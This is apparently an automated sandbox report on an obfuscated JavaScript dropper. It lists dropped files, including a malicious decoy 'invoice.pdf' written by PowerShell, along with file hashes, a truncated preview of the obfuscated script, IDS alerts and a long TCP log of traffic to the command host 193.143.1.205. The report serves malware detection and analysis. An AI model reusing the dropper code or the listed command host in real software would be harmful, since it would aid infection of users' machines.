File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15052), with CRLF line terminators
Entropy (8bit):	4.934232266352373
TrID:
File name:	382215884163542302.js
File size:	18'642 bytes
MD5:	de0a6e5c09d2178f0ecf3c567783d186
SHA1:	11f7ae9e15bfc04a88b674a66bc6ce4d76356d2d
SHA256:	4479cb19486f57e428a44e8916c75ef335f2c5bcea8029cdb0b083fc892bce50
SHA512:	5ddcbfad0beefd7da14aaffe08fc64227dfb4ac468ad34c6cd9c395ee5576d08101b0a57ce40bbf15f22debcef4234efb5e0c46a7fcfe46b82e336790416aa9f
SSDEEP:	192:QHfsJHqssRxcEeQukE//BUVGHxYeTz8UBu2Khfn4iN3y5tlM6TuRv4ww0MZZw0bi:xbiV+Tz8p4iN3yX38SrUSoZejOpyQg+
TLSH:	5E825488996F86AACACC1CD506CBA4F633488254875807FD53C351685A2877DB0FFB79
File Content Preview:	function cbcqjuc(){fwaypzv=[1031,3079,5127,4103,2055,3072];var jopudzpfu=this[ujjkjmr+ptynxe+sqnfer+ohgcav+iyzqmpdjl+zmtjgrlg+jbqkr+regydcbcg](this[vcjtdance+oosqdgwkt+dkyfyzsk+sqnfer+oonokfdn+ujjkjmr+regydcbcg][fbhcpzt+sqnfer+iyzqmpdjl+ptynxe+regydcbcg+i

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T14:48:10.470653+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-10T14:48:13.215705+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49706	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 14:48:09.635570049 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:09.640500069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:09.640585899 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:09.643488884 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:09.648320913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.470576048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.470599890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.470612049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.470623016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.470635891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.470647097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.470653057 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.470659971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.470799923 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.471230030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.471244097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.471256971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.471293926 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.471293926 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.528917074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.528934002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.528945923 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.528990030 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.591031075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.591053009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.591065884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.591139078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.591166973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.591188908 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.591188908 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.591384888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.591497898 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.591530085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.591689110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.591703892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.591715097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.591726065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.591764927 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.591764927 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.592183113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.592219114 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.592271090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.592283010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.592293024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.592761040 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.592829943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.592842102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.592854023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.592895985 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.592895985 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.592958927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.593132973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.593189955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.593724012 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.620804071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.620817900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.620860100 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.648554087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.648569107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.648587942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.648597956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.648617029 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.648690939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.648709059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.648742914 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.648742914 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.683429003 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.683442116 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.683485985 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.710671902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.710684061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.710709095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.710720062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.710730076 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.710905075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.710942030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.710952997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.710969925 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.711203098 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.711211920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.711225033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.711236000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.711257935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.711268902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.711277008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.711277008 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.711282015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.711296082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.711349010 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.711349010 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.712161064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.712173939 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.712184906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.712197065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.712208986 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.712249994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.712261915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.712274075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.712296963 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.712296963 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.713207960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.713218927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.713229895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.713241100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.713249922 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.713253975 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.713267088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.713279009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.713296890 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.713296890 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.713380098 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.714054108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.714066982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.714086056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.714096069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.714108944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.714138031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.714139938 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.714139938 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.714148998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.714351892 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.714957952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.714970112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.714981079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.714994907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.714998007 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.715008020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.715044022 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.715044022 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.740735054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.740762949 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.740801096 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.768646955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.768687010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.768697023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.768707991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.768718958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.768735886 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.769279003 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.775486946 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.775499105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.775510073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.775533915 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.775633097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.775644064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.775655031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.775676966 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.775677919 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.802948952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.802968025 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.803013086 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.838849068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.838876963 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.838890076 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.838912010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.838921070 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.838923931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.838937998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.838943958 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.838951111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.838964939 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.839000940 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.839015007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.839027882 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.839039087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.839052916 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.839063883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.839065075 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.839086056 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.839354038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.839374065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.839385986 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.839396000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.839407921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.839420080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.839433908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.839440107 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.839447021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.839488029 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.839509010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.839520931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.839531898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.839545012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.839571953 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.840359926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.840388060 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.840404034 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.840408087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.840420961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.840434074 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.840445995 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.840455055 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.840468884 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.840476036 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.840480089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.840492010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.840503931 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.840508938 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.840516090 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.840523005 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.840532064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.840553045 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.841294050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.841306925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.841330051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.841341019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.841341972 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.841355085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.841367960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.841376066 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.841384888 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.841402054 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.841414928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.841424942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.841435909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.841442108 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.841453075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.841456890 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.841468096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.841511011 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.842369080 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.842386961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.842403889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.842411995 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.842416048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.842430115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.842441082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.842451096 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.842458010 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.842468023 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.842468977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.842483997 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.842494965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.842508078 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.842509031 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.842519999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.842531919 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.842556000 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.843173027 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.843213081 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.861071110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.861088991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.861102104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.861126900 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.861135006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.861149073 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.861160994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.861172915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.861175060 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.861192942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.861207008 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.861212015 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.861222029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.861244917 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.861257076 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.863387108 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.867679119 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.867695093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.867707968 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.867744923 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 14:48:10.867793083 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 14:48:10.867805958 CET	80	49705	193.143.1.205	192.168.2.8
